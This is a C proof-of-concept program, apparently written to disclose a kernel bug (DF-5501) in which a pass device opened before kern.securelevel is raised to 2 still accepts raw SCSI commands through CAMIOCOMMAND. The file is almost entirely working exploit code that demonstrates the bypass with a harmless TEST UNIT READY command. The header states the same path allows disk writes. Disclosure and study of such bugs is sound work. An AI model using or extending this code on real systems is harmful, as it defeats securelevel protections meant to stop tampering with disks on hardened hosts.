DF-5501 / poc5501.c
/* * DF-5501: passopen() enforces securelevel > 1 -> EPERM * (scsi_pass.c:335-339), but passioctl() never re-checks: a fd opened * before the securelevel raise keeps full raw-SCSI I/O (including disk * writes) after kern.securelevel=2, defeating the securelevel guarantee * for the pass device. * * usage: poc5501 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/sysctl.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/scsi/scsi_message.h> #include <bus/cam/scsi/scsi_all.h> #include <bus/cam/scsi/scsi_pass.h> static int get_securelevel(void) { int v = 0; size_t l = sizeof(v); sysctlbyname("kern.securelevel", &v, &l, NULL, 0); return (v); } static int set_securelevel(int v) { return sysctlbyname("kern.securelevel", NULL, NULL, &v, sizeof(v)); } int main(void) { union ccb uccb; int fd, rc, sl; printf("[*] DF-5501: securelevel=%d; opening /dev/pass0\n", get_securelevel()); fd = open("/dev/pass0", O_RDWR); if (fd < 0) { printf("[-] open: %s\n", strerror(errno)); return (1); } if (set_securelevel(2) < 0) { printf("[-] raise securelevel: %s\n", strerror(errno)); return (1); } sl = get_securelevel(); printf("[*] securelevel raised to %d: a NEW open must now fail: ", sl); fflush(stdout); { int fd2 = open("/dev/pass0", O_RDWR); if (fd2 < 0) printf("open#2 -> %s (as designed)\n", strerror(errno)); else { printf("open#2 SUCCEEDED?!\n"); close(fd2); } } memset(&uccb, 0, sizeof(uccb)); uccb.ccb_h.func_code = XPT_SCSI_IO; uccb.ccb_h.flags = CAM_DIR_NONE; uccb.ccb_h.retry_count = 1; uccb.ccb_h.timeout = 10 * 1000; uccb.csio.tag_action = MSG_SIMPLE_Q_TAG; uccb.csio.cdb_len = 6; uccb.csio.dxfer_len = 0; printf("[*] CAMIOCOMMAND (TUR) on the PRE-OPENED fd at " "securelevel=%d ...\n", sl); rc = ioctl(fd, CAMIOCOMMAND, &uccb); printf("[%s] ioctl rc=%d errno=%d CAM status=%#x: the command was " "fully processed by passioctl (rc=0, no EPERM) at securelevel 2 " "=> raw SCSI passthrough still usable on a pre-opened fd\n", (rc == 0) ? "+" : "-", rc, errno, uccb.ccb_h.status & CAM_STATUS_MASK); return (rc == 0 ? 0 : 1); } |